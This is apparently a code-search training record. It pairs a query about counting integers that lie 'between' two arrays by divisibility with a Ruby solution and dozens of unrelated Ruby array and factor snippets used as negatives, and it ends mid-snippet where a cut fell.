[ "0.77090734", "0.77090734", "0.7500149", "0.7107764", "0.7107764", "0.6937578", "0.6843065", "0.67782557", "0.67194027", "0.6691352", "0.6665815", "0.6663737", "0.6663737", "0.6663737", "0.6643876", "0.6639596", "0.66301197", "0.6595553", "0.65950656", "0.65950656", "0.65950656", "0.65950656", "0.65950656", "0.6454595", "0.64072406", "0.6398649", "0.6372362", "0.63680744", "0.63410324", "0.6326221", "0.62964654", "0.62948185", "0.62885207", "0.6276465", "0.62359494", "0.62359494", "0.6217726", "0.6209867", "0.6200891", "0.6160158", "0.61480236", "0.6145469", "0.61444145", "0.6126975", "0.609111", "0.60846835", "0.60721594", "0.6038521", "0.6022751", "0.5990885", "0.59887147", "0.5984337", "0.597716", "0.5971194", "0.5968142", "0.5961461", "0.59413767", "0.59385675", "0.5901049", "0.5893051", "0.5868356", "0.5844926", "0.5844926", "0.58320963", "0.5822898", "0.5821288", "0.5821288", "0.5819527", "0.5784141", "0.5782387", "0.5762765", "0.57582235", "0.574891", "0.5744398", "0.5744398", "0.5730384", "0.5730384", "0.5721344", "0.5720385", "0.5713378", "0.5711873", "0.5695701", "0.56914544", "0.56914544", "0.566818", "0.5663207", "0.565511", "0.56469643", "0.56459785", "0.5639553", "0.56392425", "0.5626894", "0.5625943", "0.5623839", "0.5620901", "0.5600145", "0.5593671", "0.5584801", "0.55753726", "0.5568273", "0.55611855" ]
0.0
-1
The elements of the first array are all factors of the integer being considered The integer being considered is a factor of all elements of the second array These numbers are referred to as being between the two arrays. Determine how many such numbers exist. a = [2, 6] b = [24, 36] two numbers: 6 and 12. 6 % 2 = 0, 6 % 6 = 0 Then, using 6 for the second array: 24 % 6 = 0, 36 % 6 = 0 same for 12. Output: 2 (integer)
def getTotalX(a, b) (a[-1]..b[0]).to_a.reject do |cand| first_issue = a.detect { |elem| !(cand % elem).zero? } second_issue = first_issue ? false : b.detect { |elem| !(elem % cand).zero? } second_issue.nil? ? false : true end.count end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def getTotalX(a, b)\n factors_of_b = (a.min..b.min).select do |num|\n b.all? { |n| num.factor?(n) }\n end\n\n factors_of_b.select { |num| a.all? { |n| n.factor?(num) } }.length\nend", "def solution(a, b)\n count = 0\n a.zip(b).each do |ai, bi|\n count += 1 if has_prime_divisors?(ai, bi)\n end\n count\nend", "def getTotalX(a, b)\n a.each_with_object([]) do |a0, res|\n b.each do |b0|\n res << b0 unless a0 == b0 || b0 % a0 != 0 \n end\n end.uniq.count\nend", "def getTotalX(a,b)\n least_common_multiple = a.reduce(:lcm)\n greatest_common_factor = b.reduce(:gcd)\n counter = 0\n\n (least_common_multiple..greatest_common_factor).each do |num|\n if num % least_common_multiple == 0 && greatest_common_factor % num == 0\n counter += 1\n end\n end\n\n return counter\nend", "def getTotalX(a, b)\n is_factor = -> (n1, n2){n1 % n2 == 0}\n\n max = [a.max, b.max].max\n\n ns_between = (1..max).each.select{ |i|\n a.all?{|_a| is_factor.(i, _a)} && b.all?{|_b| is_factor.(_b, i)}\n }\n\n return ns_between.length\nend", "def two_nums(arr1, arr2)\n arr1.sort!\n hashed = {}\n counter = 1\n\n\n arr1.each_with_index do |num, idx|\n if hashed[num]\n counter += 1\n hashed[num][0] += 1\n hashed[num][1] += 1\n else\n counter = 1\n hashed[num] = [counter, idx + 1]\n end\n end\n\n res = []\n arr2.each_with_index do |num, idx|\n if hashed[num]\n res.push(hashed[num][1])\n else\n if num > arr1[-1]\n res.push(arr1.length)\n elsif num < arr1[0]\n res.push(0)\n else\n hashed.each do |key, value|\n if key > num\n res.push(hashed[key][1] - hashed[key][0])\n break\n end\n end\n end\n end \n end\n res\nend", "def discount_veryfication(arr1, arr2, nbr)\n (arr1 & arr2).flat_map { |n| [n] * [arr1.count(n), arr2.count(n)].min }.length == (arr1.length - nbr)\n end", "def greatest_common_factor( num1, num2)\n\n gcf = 1 # all numbers share 1 as a common factor\n\n array1 = [] # stores all factors of num1\n array2 = [] # stores all factors of num2\n\n common_factors_array = [] # stores common factors of both numbers\n\n i = 1\n while( num1 >= i ) # putting all factors of num1 into array1\n\n if( num1 % i == 0 )\n array1.push(i)\n end\n\n i += 1\n end\n\n p array1\n\n j = 1\n while( num2 >= j ) # putting all factors of num2 into array2\n\n if( num2 % j == 0 )\n array2.push(j)\n end\n\n j += 1\n end\n\n p array2\n\n\n # START\n # collect all common factors of both numbers\n\n # num1 > num2 ? limit = num1 : limit = num2\n # k = 0\n # while( limit > k) # use largest num parameter as limit\n # end\n #\n # abandoned the above way of collecting matching elements from array1 and array2\n\n # take the INTERSECT of array1 and array2\n # source: https://stackoverflow.com/questions/5678108/how-can-i-get-the-intersection-union-and-subset-of-arrays-in-ruby\n\n common_factors_array = array1 & array2\n\n p common_factors_array\n\n # collect all common factors of both numbers\n # END\n\n # Find the largest number in the array i.e. common_factors_array:\n #\n # ASUMPTION !!!\n #\n # Asumming always the last element of common_factors_array !!!!!\n\n if( common_factors_array[common_factors_array.length - 1] != nil )\n gcf = common_factors_array[common_factors_array.length - 1]\n end\n\n p \"The common factor of #{num1} and #{num2} is #{gcf}.\"\n return gcf\n\nend", "def solution(a, b)\n a.zip(b).reduce(0) { |count, i| count += common_primes(i[0], i[1]) }\nend", "def find_intersection(a1, a2)\n a1_hash = {}\n \n a1.each do |num|\n if a1_hash[num]\n a1_hash[num] +=1\n else\n a1_hash[num] = 1\n end\n end\n \n intersection = []\n \n a2.each do |num|\n if a1_hash[num] && a1_hash[num] > 0\n a1_hash[num] -= 1\n intersection << num\n end\n end\n \n return intersection\nend", "def discrepancy(a, b)\n\tcase\n\t\twhen a.empty? then b.length\n\t\twhen b.empty? then a.length\n\t\telse [(a[0] == b[0] ? 0 : 1) + discrepancy(a[1..-1], b[1..-1]),\n\t\t\t\t1 + discrepancy(a[1..-1], b),\n\t\t\t\t1 + discrepancy(a, b[1..-1])].min\n\tend\nend", "def Division(num1,num2)\n factors = []\n (1..10**3).each {|idx| factors << idx if (num1 % idx == 0 && num2 % idx == 0)}\n factors.max\nend", "def factors(num1, num2)\n arr = []\n\n (1..num1).each do |ele|\n # compare if ele is divisible for both numbers\n arr << ele if num1 % ele == 0 && num2 % ele == 0\n end\n \n return arr\nend", "def beautifulPairs(a1, a2)\n h1 = {}\n\n a1.each do |a|\n h1[a] ? h1[a] += 1 : h1[a] = 1 \n end\n\n count = 0\n a2.each do |b|\n if h1[b] && h1[b] > 0\n h1[b] -= 1\n count += 1\n end\n end\n\n count == a1.size ? count - 1 : count + 1\nend", "def missing_nums(a,b)\n ahash = {}\n bhash = {}\n while i < a.size do\n if ahash.has_key?(a[i]) then\n ahash[a[i]] += 1\n else\n ahash[a[i]] = 1\n end\n if bhash.has_key?(b[i]) then\n bhash[b[i]] += 1\n else\n bhash[b[i]] = 1\n end\n i += 1\n end\n while i < b.size do\n if bhash.has_key?(b[i]) then\n bhash[b[i]] += 1\n else\n bhash[b[i]] = 1\n end\n i += 1\n end\n result = []\n bhash.keys.each do |key|\n result.push(key) if (!ahash.has_key?(key) || bhash[key] > ahash[key])\n end\n result.sort\nend", "def a(array1, array2)\n n = array1.size\n m11, m10, m01, m00 = binary_compare(array1, array2)\n return :a, (m11/n.to_f).round(3)\nend", "def compara_arrays(aa, ab)\n suma_aa = 0\n aa.each do |prom|\n suma_aa += prom\n end\n suma_aa = suma_aa / aa.length\n# ab = array b\n suma_ab = 0\n ab.each do |prom|\n suma_ab += prom\n end\n suma_ab = suma_ab / ab.length\n# condicion\n if suma_aa > suma_ab\n return suma_aa\n else\n return suma_ab\n end\nend", "def intersection(array1, array2)\n if array1 == nil || array2 == nil || array1.length == 0 || array2.length == 0\n return []\n elsif array1.length < array2.length\n larger = array2\n smaller = array1\n elsif array1.length >= array2.length\n larger = array1\n smaller = array2\n end\n\n hash_table = {}\n smaller.each do |num|\n hash_table[num] = 1\n end\n\n combined = []\n larger.each do |num|\n if hash_table.include? num\n combined << num\n end\n end\n return combined\nend", "def Division(num1,num2)\n\n arr_1 = []\n arr_2 = []\n \n (1..num1).each do |val_1|\n if num1 % val_1 == 0 \n arr_1 << val_1\n end\n end\n \n (1..num2).each do |val_2|\n if num2 % val_2 == 0 \n arr_2 << val_2\n end\n end\n \n \n \n # code goes here\n return (arr_2 & arr_1).last \n \nend", "def sumOfTwo(a, b, v)\n\n # create a hash that will store key-value pairs of array b\n h = {}\n\n # iterate over b and store a key, which is the number\n # and store the value, which is the number of occurences\n b.each do |num|\n if h[num]\n h[num] += 1\n else\n h[num] = 1\n end\n end\n\n # iterate over a and for each number in a\n # if the hash contains the v minus num (which is equivalent to adding num + hash[v-num] = v)\n # then return true\n a.each do |num|\n if h[v - num]\n return true\n end\n end\n\n # if this point is reached, there was no matching pairs\n # return false\n return false\n\nend", "def compareTriplets(a, b)\n result = [0, 0]\n a.zip(b)\n .each {|first, second|result[((first > second) ? 0 : 1)] += 1 if first != second }\n result\nend", "def find_difference(a, b)\n # use inject to get volume of each array and take absolute of result\n # to account for negative #'s \n (a.inject(:*) - b.inject(:*)).abs\nend", "def make_ratio(array1, array2)\n if array1.empty? || array2.empty?\n result = 0\n else\n result = array1.compact.inject(0){|sum, item| sum + item}.to_f/array2.compact.inject(0){|sum, item| sum + item}.to_f\n end\n result\n end", "def find_length(a, b)\n longest = 0\n temp = 0\n return longest if (a.empty? || b.empty?)\n \n indexes = {}\n b.each_with_index do |num, idx|\n if !(indexes[num])\n indexes[num] = [idx]\n else\n indexes[num] << idx\n end\n end\n \n a.each_with_index do |num, idx|\n if !(indexes[num])\n next \n else\n b_idxes = indexes[num]\n b_idxes.each do |b_idx| \n temp = does_repeat?(a[idx..-1], b[b_idx..-1])\n \n temp > longest ? longest = temp : nil\n end\n end\n end\n \n longest\nend", "def missing_element(arr1, arr2)\n result = 0\n\n # Uses the XOR operator\n # https://en.wikipedia.org/wiki/Exclusive_or\n arr1.each { |num| result ^= num }\n arr2.each { |num| result ^= num }\n\n result\n\n # Alternatively, you can sum up the parent array and subtract the sum of the\n # second array. This will work as well, but an issue you run into is if the\n # sum overflows the range of the integer class. Also, the XOR thing is cool :)\n\n # A hack to get past the overflow issue is if you are subtracting the\n # elements from arr2 as you are summing them in arr1.\n\n # arr1.inject(:+) - arr2.inject(:+)\nend", "def compareTriplets(a, b)\n array_a = a\n array_b = b\n results = [0,0]\n array_a.collect.with_index do |value, index|\n if value > array_b[index]\n results[0] += 1\n elsif value < array_b[index]\n results[1] += 1\n end\n end\n return results\nend", "def discount_count(arr1, arr2)\n count = 0\n loop do\n arr1.map { |e| arr2.delete_at(arr2.index(e)) }\n count += 1\n break unless discount_veryfication(arr1, arr2, 0)\n end\n [arr2, count]\n end", "def splitInv(a,b,length=a.size+b.size)\n\td = []\n\tcount = 0\n\tuntil a.empty? or b.empty?\n\t\tif a.first < b.first\n\t\t\td << a.shift\n\t\telse\n\t\t\td << b.shift\n\t\t\tcount += a.size\n\t\tend\n\tend\n\td.concat(a).concat(b)\n\t[d,count]\nend", "def relative_sort_array(arr1, arr2)\n output = []\n arr1.sort!\n f1, f2 = {}, {}\n arr1.each do |num|\n f1[num] ? f1[num] += 1 : f1[num] = 1\n end\n arr2.each do |num|\n f2[num] ? f2[num] += 1 : f2[num] = 1\n end\n\n f2.each do |num, freq|\n if f1[num]\n f1[num].times do |i|\n output << num\n f1.delete(num)\n end\n end\n end\n\n f1.each do |num, freq|\n freq.times do |i|\n output << num\n end\n end\n\n output\nend", "def fast_intersection(array_one, array_two)\n count = {}\n array_one.each do |el|\n if count[el]\n count[el] += 1\n else\n count[el] = 1\n end\n end\n int = []\n array_two.each do |el|\n if count[el] && count[el] > 0\n count[el] -= 1\n int << el\n end\n end\n int\nend", "def greatest_common_factor(first_number, second_number)\n x, y = first_number, second_number\n n = x < y ? x : y\n n.downto(1).each do |i|\n if x % i == 0 and y % i == 0\n return i\n end\n end\n 1\nend", "def test(arr_a,arr_b)\n arr = []\n arr_a.each do |num|\n arr_b.each do |num_two|\n if num == num_two\n arr << num\n end \n end\n end\n arr\nend", "def intersection(array1, array2)\n intersection = []\n return intersection if !array1 || !array2\n if array1.length < array2.length\n smaller = array1\n larger = array2\n else\n smaller = array2\n larger = array1\n end\n\n my_hash = {}\n smaller.each do |num|\n my_hash[num] = 1\n end\n\n larger.each do |num|\n intersection << num if my_hash.include?(num)\n end\n return intersection\nend", "def count_by_x (num1, num2)\n array = (num1..num1 * num2).to_a\n\n array.select do |num|\n num % num1 == 0\n end\nend", "def process_2arrays(array_1, array_2)\n shared = array_1 & array_2\n shared_count = shared.count\n\n array_1_unshared = array_1 - shared\n array_2_unshared = array_2 - shared\n\n count_1 = array_1_unshared.count\n count_2 = array_2_unshared.count\n unshared = array_1_unshared + array_2_unshared\n unshared_count = unshared.count\n\n [].push(shared_count, unshared_count, count_1, count_2)\nend", "def array_equals(array1, array2)\n if array1.nil? && array2.nil?\n return true\n end\n\n if array1 == nil || array2 == nil\n return false\n end\n\n if array1.length != array2.length\n return false\n end\n\nmatching_elem = Hash.new\n\ni = 0\nwhile i < array1.length\n elem = array1[i]\n if matching_elem[elem]\n matching_elem[elem] += 1\n else\n matching_elem[elem] = 1\n end\n i += 1\nend\n\ni = 0\nwhile i < array2.length\n elem = array2[i]\n if matching_elem[elem]\n matching_elem[elem] -= 1\n elsif matching_elem[elem] && matching_elem[elem] < 0\n return false\n else\n return false\n end\n i += 1\nend\n\nreturn true\n# x = \"\"\n# same_count =\n# same_elements =\n# elements_match = 0\n# first_array_counter = 0\n# second_array_counter = 0\n#\n# array1.each_index do |i|\n# i += 1\n# first_array_counter += i\n# end\n# print first_array_counter\n#\n# array2.each_index do |i|\n# i += 1\n# second_array_counter += i\n# end\n# print second_array_counter\n#\n# # list_one = array1.size\n# # list_two = array2.size\n#\n# if first_array_counter == second_array_counter\n# same_count = true\n# elsif array1 == nil && array2 == nil\n# same_elements = true\n# elsif array1 == nil && array2 != nil\n# same_elements = false\n# elsif array2 == nil && array1 != nil\n# same_elements = false\n# else\n# same_count = false\n# end\n#\n# if same_count == true\n# first_array_counter.times do |i|\n# if array1[i] == array2[i]\n# elements_match += 1\n# end\n# end\n# end\n#\n# if elements_match == (first_array_counter) && elements_match == (second_array_counter)\n# same_elements = true\n# end\n#\n# if same_count == same_elements\n# x = true\n# else\n# x = false\n# end\n#\n# return x\nend", "def using_hash(arr1, arr2)\n sum1 = 0; sum2 = 0\n for i in 0...arr1.length\n sum1 += arr1[i]\n end\n \n for i in 0...arr2.length\n sum2 += arr2[i]\n end \n\n # return if not integer \n return false if (sum1 - sum2) % 2 == 0\n\n diff = (sum1 - sum2).abs / 2\n\n hsh = {}\n \n for i in 0...arr2.length\n hsh[arr2[i]] = true\n end\n\n for i in 0...arr1.length\n if hsh[diff + arr1[i]] == true\n return true\n end \n end \n\n return false\n\nend", "def find_missing_number2(arr1, arr2)\n #arr1.inject(:+) - arr2.inject(:+)\n #this solution did not cover the edge case where arr2 is empty.\n\n arr1.reduce(0, :+) - arr2.inject(0, :+)\nend", "def intersection(array1, array2)\n return [] if array1 == nil || array2 == nil\n if array1.length < array2.length\n shorter = array1\n longer = array2\n else\n shorter = array2\n longer = array1\n end\n num_hash = Hash.new\n intersection_array = []\n shorter.length.times do |index|\n num_hash[shorter[index]] = 1\n end\n longer.length.times do |index|\n intersection_array << longer[index] if num_hash[longer[index]]\n end\n\n return intersection_array\nend", "def merge_and_count(a, b)\n count, i, j, c = 0, 0, 0, []\n while i < a.count && j < b.count do\n if b[j] < a[i]\n c << b[j]\n count += (a.count - i)\n j += 1\n else\n c << a[i]\n i += 1\n end\n end\n \n if i == a.count\n c.concat(b[j..b.count])\n else \n c.concat(a[i..a.count])\n end\n \n return count, c\nend", "def find_missing_number(array_one, array_two)\n sum1 = array_one.reduce(:+)\n sum2 = array_two.reduce(:+)\n\n sum1 - sum2\nend", "def coprime?(num_1, num_2)\n arr1 = factors(num_1)\n arr2 = factors(num_2)\n final = arr1 & arr2 # & is the intersection of two arrays.\n if final.length != 0\n return false\n else\n return true\n end\nend", "def get_common_factors(arg_one,arg_two)\n max_factor_one, max_factor_two = arg_one / 2, arg_two / 2\n arg_one_factors = (2..max_factor_one).filter{|num| arg_one % num === 0 }\n arg_two_factors = (2..max_factor_two).filter{|num| arg_two % num === 0 }\n\n return arg_one_factors + arg_two_factors\n\nend", "def ana_array(arr1, arr2) \n counter1 = Hash.new(0)\n counter2 = Hash.new(0)\n\n arr1.each do |ele|\n counter1[ele] += 1\n end\n\n arr2.each do |ele|\n counter2[ele] += 1\n end\n\n counter1.each_key do |key|\n if counter2.key?(key) \n if counter2[key] != counter1[key]\n return false\n end\n else \n return false\n end \n end\n \n counter2.each_key do |key|\n if counter1.key?(key) \n if counter1[key] != counter2[key]\n return false\n end\n else \n return false\n end \n end\n return true\n \nend", "def twoArrays(n, k, a, b)\n a_sorted = a.sort\n b_sorted = b.sort.reverse\n sum_ele = []\n n.times do |i|\n sum_ele << a_sorted[i] + b_sorted[i]\n end\n if sum_ele.min >= k\n return 'YES'\n else\n return 'NO'\n end\nend", "def solution2(a)\n\n counts = Hash.new(0)\n\n a.each do |int|\n counts[int] += 1\n end\n\n non_divisors = []\n\n a.each do |int|\n div_count = 0\n for i in 1..int do\n div_count += counts[i] if int % i == 0\n end\n non_divisors << a.length - div_count\n end\n\n non_divisors\n\nend", "def divisible_by(a, b, k)\n a = k if a < k\n\n x = ((b-a)/k)\n x += 1 if a % k == 0\n\n #n = 0\n #(a..b).each do |i|\n # n += 1 if i % k == 0\n #end\n return x\nend", "def multiples num1, num2, divisor\n x = []\n (num1...num2).each do |i|\n if is_divisible i, divisor\n x << i\n end\n end\n x\n end", "def coprime?(num1, num2)\n return false if num1 < 2 || num2 < 2\n\n # & Returns a new array containing elements common to the two arrays, with no duplicates\n similar_elements = factors_of(num1) & factors_of(num2)\n if similar_elements.length == 1 && similar_elements.include?(1)\n true\n else\n false\n end\n\nend", "def hamming_distance(a, b)\n raise \"Unequal buffers passed.\" if a.length != b.length\n a.bytes.zip(b.bytes).map { |a, b| (a ^ b).to_s(2) }.join.count('1')\n end", "def greatest_common_factor(num1, num2)\n divisor = 1\n 2.upto([num1.abs, num2.abs].min) do |num|\n if num1 % num == 0 && num2 % num == 0\n divisor = num\n end\n end\n divisor\nend", "def bray_curtis(a, b)\n num = (0 .. (a.size - 1)).map { |i| (a[i] - b[i]).abs }.reduce(:+)\n den = (0 .. (a.size - 1)).map { |i| a[i] + b[i] }.reduce(:+)\n return num.to_f / den\n end", "def intersect nums1, nums2\n result = []\n return result if nums1.size == 0 or nums2.size == 0\n\n counter_cache = {}\n counter_cache = nums1.inject({}) { |result, n|\n result[n] ||= 0\n result[n] += 1\n result\n }\n\n nums2.each do |n|\n if counter_cache[n] and counter_cache[n] > 0\n result << n\n counter_cache[n] -= 1\n end\n end\n result\nend", "def intersection(nums1, nums2)\n present = Hash.new\n intersection_array = []\n\n nums1.each do |num|\n present[num] = 1\n end\n\n nums2.each do |num|\n if present[num]\n present.delete(num)\n intersection_array << num\n end\n end\n\n intersection_array\nend", "def intersection(array1, array2)\n common_elements = []\n if array1 == nil || array2 == nil\n return common_elements\n end\n\n if array1.length < array2.length\n small = array1\n big = array2\n else\n small = array2\n big = array1\n end\n\n hash = {}\n small.each do |num|\n hash[num] = 1\n end\n\n big.each do |num1|\n if hash.include?(num1)\n common_elements << num1\n end\n end\n return common_elements\nend", "def divisible_count(array, factor)\n counts = 0\n\n i = 0\n while i < array.length\n if array[i] % factor == 0\n counts += 1\n end\n\n i += 1\n end\n\n return counts\nend", "def common_elements(a, b)\n # 1) use two pointer for each array\n ptr_a = 0\n ptr_b = 0\n common = []\n\n # 2) loop through one array\n while ptr_a < a.length && ptr_b < b.length\n # 3) if two pointer point same number,\n # save the number and increment pointers\n if a[ptr_a] == b[ptr_b]\n common << a[ptr_a]\n ptr_a += 1\n ptr_b += 1\n # 4) othwerwise, increment the pointer which points the lower number\n elsif a[ptr_a] > b[ptr_b]\n ptr_b += 1\n else\n ptr_a += 1\n end\n end\n\n return common\nend", "def least_common_multiple(num_1, num_2)\n #if not the smaller num is not a factor of the bigger num\n #we need to find the greatest common factor\n #and multiply bigger num by greatest common factor\n # common_factors = []\n # smaller_factors = (1..num_1).select { |n| num_1 % n == 0 }\n # larger_factors = (1..num_2).select { |n| num_2 % n == 0 }\n # p smaller_factors\n # p larger_factors\n # common_factors = \n num_1.lcm(num_2)\nend", "def num_factors(elem, rest)\n rest.select { |n| (elem % n).zero? }\nend", "def division_and_average(array_1,array_2)\n \tavg = 0\n \ttotal_element = 0\n \tarray_1.each_with_index do |array_pixel,i|\n \t\tarray_pixel.each_with_index do |number,j|\n \t\t\tarray_1[i][j] = number / array_2[i][j]\n \t\t\tavg = avg + array_1[i][j] \n \t\t\ttotal_element = total_element + 1\n \t\tend\n \tend\n\n \treturn (avg / total_element)\n end", "def amicable_numbers(n1,n2)\n divisors_sum(n1) == n2 && divisors_sum(n2) == n1\nend", "def divides?(a,b)\n return b%a == 0\nend", "def solution(a, b)\n def lader(n)\n fib = [0] * n\n fib[0] = 1\n return fib if n == 1\n fib[1] = 2\n for i in 2..(n-1) do\n fib[i] = fib[i - 1] + fib[i - 2]\n end\n fib\n end\n\n ladder_steps = lader(a.max)\n result = []\n\n a.zip(b).each do |m,n|\n result << ladder_steps[m-1] % 2**n\n end\n result\nend", "def compare_triplets(a,b)\n scores = [0,0]\n a.each_with_index do |val, index|\n case val <=> b[index]\n when 1\n scores[0] += 1\n when -1\n scores[1] += 1\n end\n end\n scores\n end", "def intersection(array1, array2)\n if array1 == nil || array2 == nil\n return []\n end\n if array1.length < array2.length\n larger = array2\n smaller = array1\n else\n larger = array1\n smaller = array2\n end\n my_hash = Hash.new()\n smaller.length.times do |num|\n my_hash[smaller[num]] = 1\n end\n common_elements = []\n larger.length.times do |num_1|\n if my_hash.include? larger[num_1]\n common_elements << larger[num_1]\n end\n end\n return common_elements\nend", "def check_exam(arr1,arr2)\n result = 0\n arr1.each_with_index do |item, index|\n if arr1[index] == arr2[index]\n result += 4\n elsif arr2[index] == \"\"\n result += 0\n elsif arr1[index] != arr2[index]\n result -= 1\n end\n end\n result = 0 if result <= 0\n p result\nend", "def pairs()\n g1 = generator(512, 16807) # 65 \n g2 = generator(191, 48271) # 191\n \n total = 0\n 40e6.to_i.times do \n v1 = g1.next.to_s(2).rjust(16,'0')\n v2 = g2.next.to_s(2).rjust(16,'0')\n \n total += 1 if v1[-16,16] == v2[-16,16]\n end\n \n total\nend", "def hashing_value_from_2_arrays(array1, array2)\n return 'invalid' if array1.count != array2.count\n\n result = []\n\n # the repeat times for the iterator\n repeat = array1.count\n\n repeat.times do\n hash_of_array1 = array1.shift\n hash_of_array2 = array2.shift\n\n result << {\n ratio: hash_of_array1[:ratio],\n volume_alcohol: hash_of_array2[:volume_alcohol]\n }\n end\n\n result\n end", "def coprime?(num1, num2)\n factor1 = []\n factor2 = []\n\n#------- Adding Factors to Arrays\n (2..num1).each do |fact|\n if num1 % fact == 0\n factor1 << fact\n end\n end\n (2..num2).each do |fact2|\n if num2 % fact2 == 0\n factor2 << fact2\n end\n end\n\n #-------Iterating through to find common Factors\n\n factor2.each do |num|\n factor1.each do |count|\n if count == num\n return false\n end\n end\n end\n#-------If no common factor found returning TRUE\n return true\nend", "def find_matches(a,b)\n \n match_count = 0\n if a[0..1] == b[0..1]\n match_count += 1\n end\n if a[3..4] == b[3..4]\n match_count += 1\n end\n if a[6..7] == b[6..7]\n match_count += 1\n end\n if a[9..10] == b[9..10]\n match_count += 1\n end\n if a[12..13] == b[12..13]\n match_count += 1\n end\n return(match_count)\nend", "def find_missing_number(array_one, array_two)\nend", "def common_dividor(num1, num2)\n limit = [num1, num2].min\n limit.downto(1) do |int|\n return int if num1 % int == 0 && num2 % int == 0\n end\nend", "def lcm(a, b)\n #\n # your code goes here\n # create two empty arrays to accumulate mutliples of 'a' and 'b'\n # iterate 1 thru a and 1 thru b getting multiples for 'a' and 'b'\n # select multiples from both arrays if common (*)\n # choose the leat from above (*)\n multiples_of_a, multiples_of_b = [], []\n\n (1..b).each do |n|\n multiples_of_a << n * a\n end\n\n (1..a).each do |n|\n multiples_of_b << n * b\n end\n\n common_multiples = multiples_of_a.select do |multiple|\n multiples_of_b.include?(multiple)\n end\n\n common_multiples.first\nend", "def gc_divisor(ints:[]) \n arr = []\n arr2 = []\n for i in ints \n arr << i \n end\n \n arr.each do |num|\n for i in (1..num)\n if (num % i == 0)\n arr2 << i\n end\n end\n end\n # positive \n #divides numbers without a remainder\n #largetst one of such number\n arr2.each\nend", "def assert_two_arrays(a1, a2, msg = nil)\n\t\t[:select, :inject, :size].each do |m|\n\t\t\t[a1, a2].each { |a| assert_respond_to(a, m, \"Are you sure that #{a.inspect} is an array? It doesn't respond to #{m}.\") }\n\t\tend\n\t\tassert a1h = a1.inject({}) { |h, e| h[e] ||= a1.select { |i| i == e }.size; h }\n\t\tassert a2h = a2.inject({}) { |h, e| h[e] ||= a2.select { |i| i == e }.size; h }\n\t\tassert_equal(a1h, a2h, msg)\n\tend", "def intersection(array1, array2)\n if array1 == nil || array1 == [] || array2 == nil || array2 == []\n return []\n end\n\n if array1.length <= array2.length\n larger = array1\n smaller = array2\n else\n larger = array2\n smaller = array1\n end\n\n larger_values = {}\n larger.each do |num|\n larger_values[num] = 1\n end\n\n intersecting = []\n smaller.each do |value|\n if larger_values.include?(value)\n intersecting << value\n end\n end\n\n return intersecting\nend", "def intersection(array1, array2)\n new_array = []\n return new_array if array1 == nil || array2 == nil\n\n (array1.length).times do |count|\n (array2.length).times do |index|\n if array1[count] == array2[index]\n new_array << array1[count]\n end\n end\n end\n return new_array\nend", "def compareTriplets(a, b)\n a_points = 0\n b_points = 0\n x = 0\n while x < a.length\n if a[x] != b[x]\n a[x] > b[x] ? a_points += 1 : b_points += 1\n end\n x += 1\n end\n return [a_points, b_points]\nend", "def combine(a, b)\n #Do NOT call .sort\n #no .min, use .first\n # create a results array\n result_array = []\n # counters pointing to the index of the smallest elements in each array\n # check that we have elements to compare\n #return false if a.length != b.length\n until a.empty? || b.empty?\n\n a_min_index = a.first\n b_min_index = b.first\n\n if a_min_index < b_min_index\n result_array << a.shift\n\n else\n result_array << b.shift\n end\n\n # push the smaller element onto the result array\n end\n\n result_array += a if b.empty?\n result_array += b if a.empty?\n\n #if one array has more number than the other, i'll need to comtinue comparing those elements within the array\n return result_array\n # if there are elements left over in a, move them to result\n # if there are elements left over in b, move them to result\nend", "def intersection(array1, array2)\n intersection = []\n new_hash = {}\n \n array1.each do |number1|\n new_hash[number1] = 1\n end\n\n array2.each do |number2|\n if new_hash[number2] == 1\n intersection << number2\n end\n end\n return intersection\nend", "def merge_sort_count(array)\n return 0, array if array.size == 1\n n = array.size / 2\n first_count = 0\n last_count = 0\n first_array = array.take(n)\n last_array = array.drop(n)\n # binding.pry\n first_count, array_b = merge_sort_count(first_array)\n last_count, array_c = merge_sort_count(last_array)\n split_count, array_a = count_split_inversions(array_b,array_c)\n return (split_count + first_count + last_count), array_a\nend", "def get_larger_numbers(a, b)\n new_array = []\n a.each_with_index do |num, index|\n\n # We use a ternary operator here to test what to push to our new_array\n # If the number in arr1 is greater than the number in arr2 at the same\n # index point, (this would eval to true), therefore, we will append\n # our num from arr1 to new_array. If num is NOT greater than the number\n # in arr2 at the same point in the index, then we'll append the num\n # from arr2 to our new_array.\n (num > b[index]) ? (new_array << num) : (new_array << b[index])\n end\n\n # Return our new_array containing the greatest number from each array\n # based on that spot in the index\n new_array\nend", "def find_missing_number(array_one, array_two)\n\nend", "def coverPoints(a, b)\n x, y = 0, 0\n distance = 0\n (1...a.length).each do |i|\n x = (a[i] - a[i -1]).abs\n y = (b[i] - b[i -1]).abs\n distance += [x, y].min\n end\n distance\n end", "def equal(array1, array2)\n hash1 = {}\n hash2 = {}\n array1.length.times do |x|\n if hash1.has_key?(array1[x])\n hash1[array1[x]] += 1\n else\n hash1[array1[x]] = 1\n end\n end\n array2.length.times do |x|\n if hash2.has_key?(array2[x])\n hash2[array2[x]] += 1\n else\n hash2[array2[x]] = 1\n end\n end\n return hash1 == hash2\nend", "def reduce(a, b)\n\t\tcountRemoved = 0\n\t\tfor i in 0...(a.size)\n\t\t\tcommonOn = Array.new(b.size,true)\n\t\t\tcommonOff = Array.new(b.size,false)\n\n\t\t\t#determine which values all candidates of ai have in common\n\t\t\ta[i].each do |candidate|\n\t\t\t\tcommonOn = self.bitSetAnd(commonOn,candidate)\n\t\t\t\tcommonOff = self.bitSetOr(commonOff,candidate)\n\t\t\tend\n\n\t\t\t#remove from bj all candidates that dont share the forced values\n\t\t\tfor j in 0...(b.size)\n\t\t\t\tfi = i\n\t\t\t\tfj = j\n\t\t\t\tif (b[j].reject! { |cnd| (commonOn[fj] && !cnd[fi]) || (!commonOff[fj] && cnd[fi]) } != nil)\n\t\t\t\t\tcountRemoved +=1\n\t\t\t\tend\n\t\t\t\tif b[j].empty?\n\t\t\t\t\treturn -1\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\treturn countRemoved\n\tend", "def intersection(a,b)\n len1=a.length\n len2=b.length\n ctr1=0\n ctr2=0\n puts \"Intersection of the gives arrays:\"\n while (ctr1<len1 && ctr2<len2)\n if a[ctr1]==b[ctr2]\n print \"#{a[ctr1]} \"\n ctr1+=1\n ctr2+=1\n elsif a[ctr1]<b[ctr2]\n ctr1+=1\n else\n ctr2+=1\n end\n end\nend", "def greatest_common_factor(first_number, second_number)\n first_number_factors = factors(first_number)\n second_number_factors = factors(second_number)\n\n first_number_factors.reverse.each do |factor|\n if 